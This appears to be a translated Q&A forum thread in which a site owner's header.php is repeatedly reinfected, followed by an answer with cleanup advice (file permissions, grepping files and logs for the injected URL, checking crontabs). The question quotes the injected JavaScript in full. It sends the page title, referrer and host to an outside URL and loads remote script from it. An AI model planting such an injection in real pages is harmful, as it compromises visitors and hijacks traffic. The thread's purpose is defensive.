我的一个网站曾经被恶意软件感染过一次,从那以后我每隔一天都会看到 header.php 文件恢复到旧版本(可能是通过脚本),并且恶意脚本被插入到文件中的某个位置:
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "(>>>> KEEPS CHANGING >>>>>)http://www.theorchardnursinghome.co.uk/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
我已经清理过服务器很多次了,但还是很认真。
我完全意识到最好的选择是重新安装整个网站,但我担心这是一件有风险的事情,因为过去进行了太多的自定义,并且需要花费大量的精力来重新创建整个设置。
我如何遇到这个问题?如何通过再运行一个 bash 脚本来识别负责的脚本?inotify
无法运行,因为 Hostgator 不允许我们安装。
答案1
首先,请确保您的 .php 和 .html 文件不可被 Web 服务器运行的 uid 写入。 Web 服务器需要对文件和目录的读取和执行权限,但(可能有一些例外,例如上传目录)它不需要对其应该提供服务的数据的写入权限。
然后 grep全部您网站中的文件(例如grep -ir pattern /var/www/
)中针对该恶意软件的特定内容。它重新插入的 URL 是一个不错的选择:grep -ir 'http://www.theorchardnursinghome.co.uk' /var/www/
不幸的是,攻击的大部分有效负载可能是用 base64 或类似编码进行编码的,因此 grep 可能找不到任何内容。
如果做不到这一点,grep 查找它正在修改的文件可能会起作用 - 例如 grep for header.php
- 如果它写入 header.php,则文件名很有可能(希望未编码)位于攻击脚本中的某个位置。
grep 您的网络日志文件以获取相同的内容。
如果您的攻击者设法在您的服务器上获得root权限,那么他们就有无限的可能性隐藏他们正在做的事情。但至少要检查系统 crontab,包括 root 的 crontab。